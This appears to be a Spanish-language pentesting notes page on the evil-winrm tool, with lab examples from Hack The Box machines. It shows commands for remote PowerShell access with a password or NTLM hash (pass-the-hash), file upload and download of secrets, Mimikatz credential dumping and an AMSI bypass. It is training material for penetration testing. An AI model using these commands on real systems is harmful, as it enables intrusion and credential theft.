EvilWinRM

¿Qué es evil-winrm?

evil-winrm es una herramienta escrita en Ruby que permite conectarse a una máquina Windows mediante el servicio WinRM (Windows Remote Management), el cual funciona sobre los puertos 5985 (HTTP) o 5986 (HTTPS).

WinRM es el equivalente moderno de RDP o PowerShell Remoting, y está basado en el protocolo WS-Management.

¿Por qué es tan usada en seguridad ofensiva?

Porque te da una shell interactiva con PowerShell en sistemas Windows con acceso remoto habilitado. Esto es mucho más poderoso que una simple reverse shell. Es como tener un "PowerShell nativo" corriendo con privilegios del usuario que comprometiste.

Funciones críticas y potentes de evil-winrm:

1. Acceso remoto con credenciales

Puedes conectarte con solo un usuario y contraseña:

┌──(dante㉿hunter)-[/home/kali]
└─ evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!'

O con un hash NTLM (pass-the-hash):

┌──(dante㉿hunter)-[/home/kali]
└─ evil-winrm -i 192.168.1.10 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe'

2. Carga y descarga de archivos

Subís o bajás archivos fácilmente dentro de la sesión:

┌── powershell
└─ upload ./linpeas.ps1 C:\Users\victim\Desktop\
download C:\Users\victim\Desktop\secrets.txt ./secrets.txt

3. Ejecución de scripts en PowerShell

Ideal para ejecutar herramientas como:

  • PowerView.ps1 → Para enumeración de Active Directory.

  • SharpHound.ps1 → Para recolectar datos para BloodHound.

  • Invoke-Mimikatz.ps1 → Para volcado de credenciales.

┌── powershell
└─ *Evil-WinRM* PS > . .\PowerView.ps1
*Evil-WinRM* PS > Get-NetUser

4. Soporte para plugins

Puedes ampliar evil-winrm con plugins que permiten hacer cosas como:

  • Enumeración del sistema.

  • Ejecutar herramientas post-exploitation automáticamente.

  • Volcar credenciales.

  • Enumerar shares o servicios.

5. Evasión y ejecución sigilosa

Al tener acceso a PowerShell directamente, podés ejecutar comandos más sigilosos y complejos, evitando soluciones antivirus simples si sabés cómo ofuscar scripts.

Casos de uso típicos en pentest:

  • Post-exploitation tras obtener credenciales.

  • Movimiento lateral en entornos Windows con WinRM habilitado.

  • Recuperación de secretos desde archivos, SAM, o servicios en ejecución.

  • Recolección de datos para escalamiento de privilegios.

┌──(root㉿kali)-[/home/kali/Documents/HTB/SUPPORT]
└─# evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                              
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                                         
                                        
*Evil-WinRM* PS C:\Users\support\Documents> menu


   ,.   (   .      )               "            ,.   (   .      )       .   
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'   .  ,)  
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((   
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')  
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \  
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \ 
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit
  • Bypass-4MSI → Ejecuta un script de PowerShell que habilita la ejecución de scripts sin restricciones

    • Esto es útil si el sistema remoto tiene políticas que impiden ejecutar scripts (ExecutionPolicy)

    • Activa un bypass de políticas para que puedas ejecutar payloads, PowerView, Mimikatz en PS1, etc.

  • services → Muestra información sobre los servicios del sistema remoto

    • Puede listar servicios que están corriendo o no, lo que permite buscar vectores de escalada de privilegios (como servicios mal configurados que corren como SYSTEM y son modificables).

  • upload → Permite subir archivos desde tu máquina local a la máquina remota

    • Ejemplo: upload shell.ps1 sube ese archivo al directorio actual del host remoto

  • download → Permite descargar archivos desde la máquina remota a tu máquina local

    • Ejemplo: download secrets.txt descarga el archivo del host remoto a tu Kali

  • menu → Muestra nuevamente este mismo menú

    • Sirve para recordar los comandos rápidos disponibles

  • exit → Sale de la sesión Evil-WinRM y vuelve a tu terminal local

    • Termina la conexión con el host remoto

Ver maquinas: Responder (HTB), Archetype (HTB), Cicada (HTB), Raz0rBlack (THM), Driver (HTB), Timelapse (HTB), Support (HTB), Heist (HTB)

Last updated